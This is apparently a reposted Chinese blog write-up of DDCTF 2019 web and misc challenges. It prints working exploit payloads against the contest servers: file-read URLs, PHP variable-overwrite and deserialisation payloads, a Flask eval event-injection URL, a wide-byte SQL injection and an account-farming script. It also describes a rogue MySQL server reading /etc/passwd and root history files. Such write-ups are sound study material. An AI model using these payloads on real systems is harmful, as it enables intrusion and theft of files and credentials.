DDCTF 2019 部分WP

逃离我推掉我的手 2021-12-09 16:17 260阅读 0赞

# WEB #

## 滴~ ##

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

观察链接可发现jpg的值是文件名转hex再base64编码两次得到，由此得到任意文件读取漏洞

读取index.php

http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

![1495876-20190419114733513-279882400.png][]

将源码中的base解码得到源码

![1495876-20190419114712449-45843688.png][]

备注是提示，访问该博客该日期的文章，得到提示 .practice.txt.swp，最后发现flag文件

![1495876-20190419114915662-31186960.png][]

结合index.php的逻辑

将f1agconfigddctf.php转为hex字符串，base64编码两次，然后

http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

![1495876-20190419114844600-29923390.png][]

得到f1ag!ddctf.php的源码，典型变量覆盖

<?php
 include('config.php');
 $k = 'hello';
 extract($_GET);
 if(isset($uid))
 {
 $content=trim(file_get_contents($k));
 if($uid==$content)
 {
 echo $flag;
 }
 else
 {
 echo'hello';
 }
 }
 
 ?>

http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

![1495876-20190419115037988-819622240.png][]

## WEB 签到题 ##

抓包发现有个认证的接口，有个username未填值

![1495876-20190419115234232-415523534.png][]

尝试admin成功并给出了一个地址

![1495876-20190419115246696-290054142.png][]

访问发现是源代码

nickname处可注入%s带出eancrykey

![1495876-20190419115303972-1538235030.png][]

![1495876-20190419115319202-403329747.png][]

得到eancrykey就可伪造Cookie，伪造成功即可造成反序列化漏洞

![1495876-20190419115343836-1160653383.png][]

Application类可造成任意文件读取

![1495876-20190419115357436-1311121797.png][]

这里可以双写绕过

![1495876-20190419115440374-1679677685.png][]

这里判断了长度，猜测flag文件路径为../config/flag.txt

![1495876-20190419115454992-411625696.png][]

最后payload

<?php
 Class Application {
 var $path = '....//config/flag.txt';
 }
 $o=new Application();
 $session=serialize($o);
 echo urlencode($session.md5("EzblrbNS".$session));

![1495876-20190419115530874-748672248.png][]

## Upload-IMG ##

上传的图片会经过二次渲染，插入的多余字符就会被删除，将其渲染过的图片用010editor打开会发现是GD

![1495876-20190419115604374-38328374.png][]

搜索找到相关方法和脚本

https://wiki.ioin.in/soft/detail/1q

初步尝试多次未成功，后将渲染后的图片下载后再次用该脚本处理，上传，成功绕过

![1495876-20190419115619699-555727513.png][]

## homebrew event loop ##

# -*- encoding: utf-8 -*- 
 # written in python 2.7 
 __author__ = 'garzon' 
 
 from flask import Flask, session, request, Response 
 import urllib 
 
 app = Flask(__name__) 
 app.secret_key = '*********************' # censored 
 url_prefix = '/d5af31f66177e857' 
 
 def FLAG(): 
 return 'FLAG_is_here_but_i_wont_show_you' # censored 
 
 def trigger_event(event): 
 session['log'].append(event) 
 if len(session['log']) > 5: session['log'] = session['log'][-5:] 
 if type(event) == type([]): 
 request.event_queue += event 
 else: 
 request.event_queue.append(event) 
 
 def get_mid_str(haystack, prefix, postfix=None): 
 haystack = haystack[haystack.find(prefix)+len(prefix):] 
 if postfix is not None: 
 haystack = haystack[:haystack.find(postfix)] 
 return haystack 
 
 class RollBackException: pass 
 
 def execute_event_loop(): 
 valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
 resp = None 
 while len(request.event_queue) > 0: 
 event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
 request.event_queue = request.event_queue[1:] 
 if not event.startswith(('action:', 'func:')): continue 
 for c in event: 
 if c not in valid_event_chars: break 
 else: 
 is_action = event[0] == 'a' 
 action = get_mid_str(event, ':', ';') 
 args = get_mid_str(event, action+';').split('#') 
 try: 
 event_handler = eval(action + ('_handler' if is_action else '_function')) 
 ret_val = event_handler(args) 
 except RollBackException: 
 if resp is None: resp = '' 
 resp += 'ERROR! All transactions have been cancelled. ' 
 resp += '<a href="./?action:view;index">Go back to index.html</a> ' 
 session['num_items'] = request.prev_session['num_items'] 
 session['points'] = request.prev_session['points'] 
 break 
 except Exception, e: 
 if resp is None: resp = '' 
 #resp += str(e) # only for debugging 
 continue 
 if ret_val is not None: 
 if resp is None: resp = ret_val 
 else: resp += ret_val 
 if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
 session.modified = True 
 return resp 
 
 @app.route(url_prefix+'/') 
 def entry_point(): 
 querystring = urllib.unquote(request.query_string) 
 request.event_queue = [] 
 if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
 querystring = 'action:index;False#False' 
 if 'num_items' not in session: 
 session['num_items'] = 0 
 session['points'] = 3 
 session['log'] = [] 
 request.prev_session = dict(session) 
 trigger_event(querystring) 
 return execute_event_loop() 
 
 # handlers/functions below -------------------------------------- 
 
 def view_handler(args): 
 page = args[0] 
 html = '' 
 html += '[INFO] you have {} diamonds, {} points now. '.format(session['num_items'], session['points']) 
 if page == 'index': 
 html += '<a href="./?action:index;True%23False">View source code</a> ' 
 html += '<a href="./?action:view;shop">Go to e-shop</a> ' 
 html += '<a href="./?action:view;reset">Reset</a> ' 
 elif page == 'shop': 
 html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a> ' 
 elif page == 'reset': 
 del session['num_items'] 
 html += 'Session reset. ' 
 html += '<a href="./?action:view;index">Go back to index.html</a> ' 
 return html 
 
 def index_handler(args): 
 bool_show_source = str(args[0]) 
 bool_download_source = str(args[1]) 
 if bool_show_source == 'True': 
 
 source = open('eventLoop.py', 'r') 
 html = '' 
 if bool_download_source != 'True': 
 html += '<a href="./?action:index;True%23True">Download this .py file</a> ' 
 html += '<a href="./?action:view;index">Go back to index.html</a> ' 
 
 for line in source: 
 if bool_download_source != 'True': 
 html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', ' ') 
 else: 
 html += line 
 source.close() 
 
 if bool_download_source == 'True': 
 headers = {} 
 headers['Content-Type'] = 'text/plain' 
 headers['Content-Disposition'] = 'attachment; filename=serve.py' 
 return Response(html, headers=headers) 
 else: 
 return html 
 else: 
 trigger_event('action:view;index') 
 
 def buy_handler(args): 
 num_items = int(args[0]) 
 if num_items <= 0: return 'invalid number({}) of diamonds to buy '.format(args[0]) 
 session['num_items'] += num_items 
 trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
 
 def consume_point_function(args): 
 point_to_consume = int(args[0]) 
 if session['points'] < point_to_consume: raise RollBackException() 
 session['points'] -= point_to_consume 
 
 def show_flag_function(args): 
 flag = args[0] 
 #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
 return 'You naughty boy! ;) ' 
 
 def get_flag_handler(args): 
 if session['num_items'] >= 5: 
 trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
 trigger_event('action:view;index') 
 
 if __name__ == '__main__': 
 app.run(debug=False, host='0.0.0.0')

首先发现此处action可控，可注入代码，其后多余部分可用\#注释

![1495876-20190419115649309-1453376023.png][]

利用该点可调用脚本内任意带参函数，比如调用show\_flag\_function

![1495876-20190419115707750-268238503.png][]

然后看到这里，虽然不会显示flag，但trigger\_event中的内容会被记录到log中，log在session中，而flask 是本地session，读取本地session就行

![1495876-20190419115728577-474458299.png][]

最后思路就是，想办法让自己num\_items大于5后调用get\_flag\_handler

注意到这里买东西和扣钱的处理是分开的，直觉肯定有问题。正常处理是先buy\_handler，这时是不理会points直接增加num\_items的，然后马上consume\_point\_function，这时才比较points，points不够的话就回滚session。如果这样就必须想办法先调用buy\_handler，然后调用get\_flag\_handler，将consume\_point\_function排到后面才行

![1495876-20190419115803724-1350254652.png][]

最后利用到trigger\_event函数注入event构造出自己想要调用的顺序

最终paylaod

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger\_event%23;action:buy;5%23action:get\_flag;

或者这样，只要不超过日志容量且num\_items大于等于5就行

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger\_event%23;action:buy;3%23action:buy;3%23action:get\_flag;

用p神脚本解密本地session

![1495876-20190419115844884-2026522957.png][]

## 欢迎报名DDCTF ##

一开始报名处存在XSS

用xss平台读取到源码后发现一个接口

![1495876-20190419115910580-2138522553.png][]

测出是宽字节注入后就常规操作查数据库，查表名，列名，最后得到flag。（一开始有看到gbk编码想到是宽字节，但随手测试一条payload发现不报错就没测了，后悔！，后面实在没辙了就继续测试才发现）

http://117.51.147.2/Ze02pQYLf5gGNyMn/query\_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23

![1495876-20190419115926939-1557149643.png][]

## 大吉大利，今晚吃鸡 ##

一开始伪造价格，发现后端按范围是分别以32位和64位处理，因为64位最大整数+1报错，32位最大整数+1报错，然而其中间的某范围数不报错。经过测试发现提交32位最大整数\*2+2到100的数就可买票，比如4294967296

然后写脚本注册小号，主号提交。两个脚本这样其实比较麻烦而且费时间，但我就是懒-.-，，没有整合两个脚本，最后是第一个脚本跑了足够多的id和Tiket之后，第二个脚本提交

注册小号得到id和ticket

import requests
    import re
    import time
    
    requests=requests.session()
    
    def register(username):
        url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username)
        res=requests.get(url)
        return res.text
    
    def buy():
        url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
        res=requests.get(url)
        bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1)
    
        url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id)
        res=requests.get(url)
        return res.text
    
    def xx(username):
        register(username)
        return buy()
    
    f=open('acc10.txt','w')
    for i in range(0,600):
        res=xx("l3yx_101_00"+str(i))
        time.sleep(3)
        print res
        f.writelines(res)
        f.flush()

主号提交

import requests
    import re
    import time
    
    requests=requests.session()
    
    def login(name,password):
        url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password)
        res=requests.get(url)
        return res.text
    
    def submit(id,ticket):
        url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket)
        res=requests.get(url)
        return res.text
    
    login('lei','123456789')
    f=open('acc8.txt','r')
    for i in f.readlines():
        id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1)
        ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2)
        time.sleep(2)
        print submit(id_,ticket_)

![1495876-20190419120059624-1543843497.png][]

## mysql弱口令 ##

网站功能是扫描服务器上mysql的弱口令，应该是会用弱口令来连接我的mysql服务端，想到之前见过伪造mysql服务端来攻击客户端的骚操作

https://lightless.me/archives/read-mysql-client-file.html

1.服务器启动mysql伪造脚本，由于我本机装有mysql，所以该伪造脚本端口设置在3307（网上公开脚本，非原创）

2.服务器启动agent.py

![1495876-20190419120153254-1781058907.png][]

3.在网页填写ip和端口进行扫描

![1495876-20190419120204060-1677083150.png][]

此时伪造服务端的脚本已成功读取/etc/passwd

![1495876-20190419120219889-524182647.png][]

继续读/root/.bash\_history发现入口文件/home/dc2-user/ctf\_web\_2/app/main/views.py

![1495876-20190419120244347-1393347003.png][]

从入口文件/home/dc2-user/ctf\_web\_2/app/main/views.py得到提示flag在数据库

![1495876-20190419120301344-1841520056.png][]

尝试读取数据库文件/var/lib/mysql/security/flag.ibd无果，貌似是空的？？？

![1495876-20190419120321999-1007865977.png][]

最后读取/root/.mysql\_history发现flag

![1495876-20190419120330969-1255951621.png][]

# MISC #

## 北京地铁 ##

根据Color Threshold提示测试LSB隐写，找到一串密文

![1495876-20190419122219182-2060229204.png][]

观察图片，发现有两个位置颜色不同

![1495876-20190419122230831-1680037915.png][]

尝试用魏公村地名为密钥解密成功

![1495876-20190419122252346-399053089.png][]

## MulTzor ##

github找到分析xor的工具

https://github.com/hellman/xortool

猜测是空格最多，所以-c后面是20。脚本得出key最大可能性长度是6，并给出了可能的key

![1495876-20190419122315990-1047312540.png][]

但发现有部分乱码，而且是每6个字符，第一个字符错误，很容易知道是脚本得出的key长度没有问题，但第一个字符错了

观察下面有DCTF\{，显而易见前面那个乱码是D，所以用这个位置的密文异或上D就能得到key第一位

![1495876-20190419122350025-636689402.png][]

异或得到key第一位

![1495876-20190419122357135-1313408035.png][]

所以最后key是\\x323\\xffSY\\x8b

![1495876-20190419122404361-871281202.png][]

## WireShark ##

在HTTP包中找到3张图片，分别导出字节流

![1495876-20190419122420782-1297340710.png][]

前两张相似但文件大小不同，第二张体积比较大

![1495876-20190419122432210-2108236492.png][]

最后一个HTTP包还发现一个图片加密隐藏信息的网站

![1495876-20190419122440984-977141382.png][]

需要密码和加密后的图片

![1495876-20190419122456161-629720051.png][]

猜测第二张图片是第一张加密过后的，第三张钥匙形状的藏有密码

最后发现钥匙图片是高度隐写，修改高度后

![1495876-20190419122509125-1607828495.png][]

解密

![1495876-20190419122524227-857268870.png][]

16进制到文本字符串

![1495876-20190419122534817-1109202016.png][]

## 联盟决策大会 ##

参考以下文章

https://en.wikipedia.org/wiki/Shamir%27s\_Secret\_Sharing

https://blog.mythsman.com/2015/10/07/2/

根据题意猜测，组织1内部需要算出一段数据zh1，组织2内部算出zh2，然后zh1和zh2一起算出z，最后z和p算出最终秘密，需要注意的是就是顺序需要多次测试，而且脚本内的\_PRIME需要设置为p

最终脚本

from __future__ import division
 from __future__ import print_function
 import random
 import functools
 
 _PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
 _RINT = functools.partial(random.SystemRandom().randint, 0)
 
 def _eval_at(poly, x, prime):
 accum = 0
 for coeff in reversed(poly):
 accum *= x
 accum += coeff
 accum %= prime
 return accum
 
 def make_random_shares(minimum, shares, prime=_PRIME):
 if minimum > shares:
 raise ValueError("pool secret would be irrecoverable")
 poly = [_RINT(prime) for i in range(minimum)]
 points = [(i, _eval_at(poly, i, prime))
 for i in range(1, shares + 1)]
 return poly[0], points
 
 def _extended_gcd(a, b):
 x = 0
 last_x = 1
 y = 1
 last_y = 0
 while b != 0:
 quot = a // b
 a, b = b, a%b
 x, last_x = last_x - quot * x, x
 y, last_y = last_y - quot * y, y
 return last_x, last_y
 
 def _divmod(num, den, p):
 inv, _ = _extended_gcd(den, p)
 return num * inv
 
 def _lagrange_interpolate(x, x_s, y_s, p):
 k = len(x_s)
 assert k == len(set(x_s)), "points must be distinct"
 def PI(vals): # upper-case PI -- product of inputs
 accum = 1
 for v in vals:
 accum *= v
 return accum
 nums = [] # avoid inexact division
 dens = []
 for i in range(k):
 others = list(x_s)
 cur = others.pop(i)
 nums.append(PI(x - o for o in others))
 dens.append(PI(cur - o for o in others))
 den = PI(dens)
 num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
 for i in range(k)])
 return (_divmod(num, den, p) + p) % p
 
 def recover_secret(shares, prime=_PRIME):
 if len(shares) < 2:
 raise ValueError("need at least two shares")
 x_s, y_s = zip(*shares)
 return _lagrange_interpolate(0, x_s, y_s, prime)
 
 
 p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
 z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
 z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
 z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7
 
 z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
 z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
 z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5
 
 
 
 z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] )
 z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] )
 z=recover_secret( [ (1,z1) , (2,z2) ] )
 print( recover_secret( [ (1,p) , (0,z) ] ) )

![1495876-20190419122629671-572642818.png][]

![1495876-20190419122637388-1564997096.png][]

转载于:https://www.cnblogs.com/leixiao-/p/10735047.html

[1495876-20190419114733513-279882400.png]: /images/20211209/08df63ca45af495caf5a554734390a6c.png
[1495876-20190419114712449-45843688.png]: /images/20211209/44a181bdca114a28934abd4379594675.png
[1495876-20190419114915662-31186960.png]: /images/20211209/e568811a9e6140b6b2646f600665b436.png
[1495876-20190419114844600-29923390.png]: /images/20211209/0f27d92974a443f190ac7a00d661a273.png
[1495876-20190419115037988-819622240.png]: /images/20211209/9566afa20bf241788a52baecc1abd0cf.png
[1495876-20190419115234232-415523534.png]: /images/20211209/ba00e9563e9e40f7a5d6fa8b0e0ed986.png
[1495876-20190419115246696-290054142.png]: /images/20211209/aa29639ce40346d498d5ceae062b18cf.png
[1495876-20190419115303972-1538235030.png]: /images/20211209/ff4167abe4004c96902878d78f8e6857.png
[1495876-20190419115319202-403329747.png]: /images/20211209/acf834a7c3a648a7b8f6455f58c8a5e9.png
[1495876-20190419115343836-1160653383.png]: /images/20211209/5245739e8a15453cb838512f5e3d1478.png
[1495876-20190419115357436-1311121797.png]: /images/20211209/0a1dacf241a74ed6bfc33c0a824e8d55.png
[1495876-20190419115440374-1679677685.png]: /images/20211209/edac3c4ebf88408cb194e7ab25ca788e.png
[1495876-20190419115454992-411625696.png]: /images/20211209/9d55ed0fb26a4e1eaf7aa7adad473086.png
[1495876-20190419115530874-748672248.png]: /images/20211209/ed62b2b797254b33a3a0815c9d03e9e9.png
[1495876-20190419115604374-38328374.png]: /images/20211209/8c2419183d0249b89c58c6fd81d3716a.png
[1495876-20190419115619699-555727513.png]: /images/20211209/b37f6ecdc12b48b8a97d2a27c62a1c53.png
[1495876-20190419115649309-1453376023.png]: /images/20211209/a64797b5fc034dc28a3478e0cd8deab8.png
[1495876-20190419115707750-268238503.png]: /images/20211209/1fac14cb42e04096b9d8ec8dedecc047.png
[1495876-20190419115728577-474458299.png]: /images/20211209/60617d57eb1540d4916ba0c3476fae17.png
[1495876-20190419115803724-1350254652.png]: /images/20211209/0b1e69f5b8744ca697058f62410b4a40.png
[1495876-20190419115844884-2026522957.png]: /images/20211209/d51f629aef6047b9856b2a3cd106f7f3.png
[1495876-20190419115910580-2138522553.png]: /images/20211209/dfb23322909b4225862fead718e9820a.png
[1495876-20190419115926939-1557149643.png]: /images/20211209/e128cceee1a0413fbe7d2f1b8a16c4e7.png
[1495876-20190419120059624-1543843497.png]: /images/20211209/82d121e8173d49c6aaaddfae1f6e8958.png
[1495876-20190419120153254-1781058907.png]: /images/20211209/d9cff73b5b214518b8cae1b5402b70b7.png
[1495876-20190419120204060-1677083150.png]: /images/20211209/f9cb96b1bb99488fbc20b393b40c9dcd.png
[1495876-20190419120219889-524182647.png]: /images/20211209/2f2d47bbd8c24bbd9d6dd3600e9ed5ba.png
[1495876-20190419120244347-1393347003.png]: /images/20211209/58ca77223b1048af8422029f028b92d0.png
[1495876-20190419120301344-1841520056.png]: /images/20211209/dca7111974fe4b6c8e3e7a3cb5ce5f3f.png
[1495876-20190419120321999-1007865977.png]: /images/20211209/1d8722b21767475fbcc317e90e20fea3.png
[1495876-20190419120330969-1255951621.png]: /images/20211209/77b7f1ec5b824d9d9598ee75d90888cd.png
[1495876-20190419122219182-2060229204.png]: /images/20211209/8ba71c64248944efad068625a7a7d1f5.png
[1495876-20190419122230831-1680037915.png]: /images/20211209/acb15abee6834e26b62d9b7715e982e2.png
[1495876-20190419122252346-399053089.png]: /images/20211209/16350b70414149388a9e0e4942034ef2.png
[1495876-20190419122315990-1047312540.png]: /images/20211209/402a459c1ae54e648c7b2ef948dc2fc3.png
[1495876-20190419122350025-636689402.png]: /images/20211209/bb7be61b9bac4fd1b60ebba55298ff13.png
[1495876-20190419122357135-1313408035.png]: /images/20211209/5135d9dccd634edf84ec63d2ea2b0903.png
[1495876-20190419122404361-871281202.png]: /images/20211209/30538e89e9eb49618884f967b69ba74b.png
[1495876-20190419122420782-1297340710.png]: /images/20211209/6810289a0cda44acaaa95726ef6013f8.png
[1495876-20190419122432210-2108236492.png]: /images/20211209/94dcbcc05cbe4198a7d695bf7e618769.png
[1495876-20190419122440984-977141382.png]: /images/20211209/1f0003236b904cfeb257547224833649.png
[1495876-20190419122456161-629720051.png]: /images/20211209/da37f6887c0c471da7889b5e9fb3465f.png
[1495876-20190419122509125-1607828495.png]: /images/20211209/15377e58304041df949e217c0b56683d.png
[1495876-20190419122524227-857268870.png]: /images/20211209/67ab1b8c90f942dc8f135b6aa40105ab.png
[1495876-20190419122534817-1109202016.png]: /images/20211209/735eef61e1664d30a6a1d5bc34f07e84.png
[1495876-20190419122629671-572642818.png]: /images/20211209/1442ed9b3eb949ee96a26547c7d9e7c4.png
[1495876-20190419122637388-1564997096.png]: /images/20211209/b48e331dcf374c5e8e2192c38df0da55.png